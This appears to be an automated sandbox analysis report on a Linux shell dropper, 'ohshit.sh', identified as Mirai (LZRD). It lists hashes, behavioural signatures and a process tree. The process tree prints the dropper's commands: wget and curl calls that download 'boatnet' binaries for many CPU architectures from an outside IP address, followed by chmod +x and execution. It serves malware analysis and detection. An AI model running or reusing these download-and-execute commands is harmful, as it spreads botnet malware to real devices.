Analysis
-
max time kernel
148s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
31-10-2024 19:16
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
7223c9d6dfd0588a042452a35c3eedd5
-
SHA1
3ee35c5d531fccd8bdefb6143429e29575ee47e4
-
SHA256
75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420
-
SHA512
d2f5d60d1f528fa306b856a9dfb35e862b7e3e9db01a6c973cc2b11ed83e7a4e896d6542cd96a3699c3ddadaa8befde862d1205a5350efb047293be59caa898e
Malware Config
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodpid process 1504 chmod 1512 chmod 1584 chmod 1552 chmod 1560 chmod 1629 chmod 1645 chmod 1594 chmod 1637 chmod 1653 chmod 1525 chmod 1536 chmod 1544 chmod 1568 chmod 1576 chmod -
Executes dropped EXE 15 IoCs
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFioc pid process /tmp/WTF 1505 WTF /tmp/WTF 1513 WTF /tmp/WTF 1526 WTF /tmp/WTF 1537 WTF /tmp/WTF 1545 WTF /tmp/WTF 1553 WTF /tmp/WTF 1561 WTF /tmp/WTF 1569 WTF /tmp/WTF 1577 WTF /tmp/WTF 1585 WTF /tmp/WTF 1595 WTF /tmp/WTF 1630 WTF /tmp/WTF 1638 WTF /tmp/WTF 1646 WTF /tmp/WTF 1654 WTF -
Modifies Watchdog functionality 1 TTPs 30 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFdescription ioc process File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 30 IoCs
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFdescription ioc process File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF -
Processes:
resource yara_rule /tmp/boatnet.x86 upx -
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFdescription ioc process File opened for reading /proc/1321/cmdline WTF File opened for reading /proc/608/cmdline WTF File opened for reading /proc/1538/cmdline WTF File opened for reading /proc/1548/cmdline WTF File opened for reading /proc/673/cmdline WTF File opened for reading /proc/1149/cmdline WTF File opened for reading /proc/1641/cmdline WTF File opened for reading /proc/551/cmdline WTF File opened for reading /proc/1068/cmdline WTF File opened for reading /proc/428/cmdline WTF File opened for reading /proc/1546/cmdline WTF File opened for reading /proc/1647/cmdline WTF File opened for reading /proc/641/cmdline WTF File opened for reading /proc/710/cmdline WTF File opened for reading /proc/1622/cmdline WTF File opened for reading /proc/1268/cmdline WTF File opened for reading /proc/641/cmdline WTF File opened for reading /proc/1163/cmdline WTF File opened for reading /proc/1144/cmdline WTF File opened for reading /proc/1241/cmdline WTF File opened for reading /proc/644/cmdline WTF File opened for reading /proc/1068/cmdline WTF File opened for reading /proc/1631/cmdline WTF File opened for reading /proc/1345/cmdline WTF File opened for reading /proc/469/cmdline WTF File opened for reading /proc/1514/cmdline WTF File opened for reading /proc/1321/cmdline WTF File opened for reading /proc/1562/cmdline WTF File opened for reading /proc/1090/cmdline WTF File opened for reading /proc/1148/cmdline WTF File opened for reading /proc/322/cmdline WTF File opened for reading /proc/962/cmdline WTF File opened for reading /proc/1090/cmdline WTF File opened for reading /proc/957/cmdline WTF File opened for reading /proc/1184/cmdline WTF File opened for reading /proc/1598/cmdline WTF File opened for reading /proc/1176/cmdline WTF File opened for reading /proc/1148/cmdline WTF File opened for reading /proc/1167/cmdline WTF File opened for reading /proc/1043/cmdline WTF File opened for reading /proc/477/cmdline WTF File opened for reading /proc/1135/cmdline WTF File opened for reading /proc/1164/cmdline WTF File opened for reading /proc/1298/cmdline WTF File opened for reading /proc/1516/cmdline WTF File opened for reading /proc/1527/cmdline WTF File opened for reading /proc/1554/cmdline WTF File opened for reading /proc/1516/cmdline WTF File opened for reading /proc/516/cmdline WTF File opened for reading /proc/1357/cmdline WTF File opened for reading /proc/1357/cmdline WTF File opened for reading /proc/1570/cmdline WTF File opened for reading /proc/1500/cmdline WTF File opened for reading /proc/633/cmdline WTF File opened for reading /proc/1029/cmdline WTF File opened for reading /proc/452/cmdline WTF File opened for reading /proc/1109/cmdline WTF File opened for reading /proc/1538/cmdline WTF File opened for reading /proc/496/cmdline WTF File opened for reading /proc/1153/cmdline WTF File opened for reading /proc/325/cmdline WTF File opened for reading /proc/518/cmdline WTF File opened for reading /proc/1170/cmdline WTF File opened for reading /proc/1631/cmdline WTF -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 29 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetwgetcurlwgetwgetwgetcurlwgetwgetcurlwgetwgetcurlcurlwgetohshit.shcurlwgetcurlwgetcurlcurlcurlcurlcurlcurlcurlcurlwgetdescription ioc process File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.x86_64 wget File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.mips wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:1497 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1498 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1499 -
/bin/catcat boatnet.x862⤵PID:1503
-
/bin/chmodchmod +x boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1504 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1505 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1509 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1510 -
/bin/chmodchmod +x boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1512 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1513 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1517 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1518 -
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1525 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1526 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.i4682⤵PID:1530
-
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.i4682⤵
- Writes file to tmp directory
PID:1533 -
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1536 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1537 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.i6862⤵PID:1541
-
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.i6862⤵
- Writes file to tmp directory
PID:1542 -
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1544 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1545 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.x86_642⤵
- Writes file to tmp directory
PID:1549 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.x86_642⤵
- Writes file to tmp directory
PID:1550 -
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1552 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1553 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1557 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1558 -
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1560 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1561 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1565 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1566 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1568 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1569 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1573 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1574 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1576 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1577 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1581 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1582 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1584 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1585 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1589 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1590 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1594 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1595 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1599 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1604 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1629 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1630 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1634 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1635 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1637 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1638 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1642 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1643 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1645 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1646 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1650 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1651 -
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o netplan_4tig9c16 ohshit.sh snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-Z8MSR1 WTF2⤵
- File and Directory Permissions Modification
PID:1653 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1654
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD59989c8ea288da2dddad73db20f372194
SHA106efc879f9c23d099b6716bf9f84ac8666f29e98
SHA2569d780354175a3b406f5764962a3ba7c137961d10005c632db0e7baae9e0b9008
SHA51232ea5c58eb7fac324c88f576c7e05867599e5d3380f8868302a315ecc84427e2f80693386150e3121842a06f15c476224c4f66a1dda4d71d47511a1d7c600de9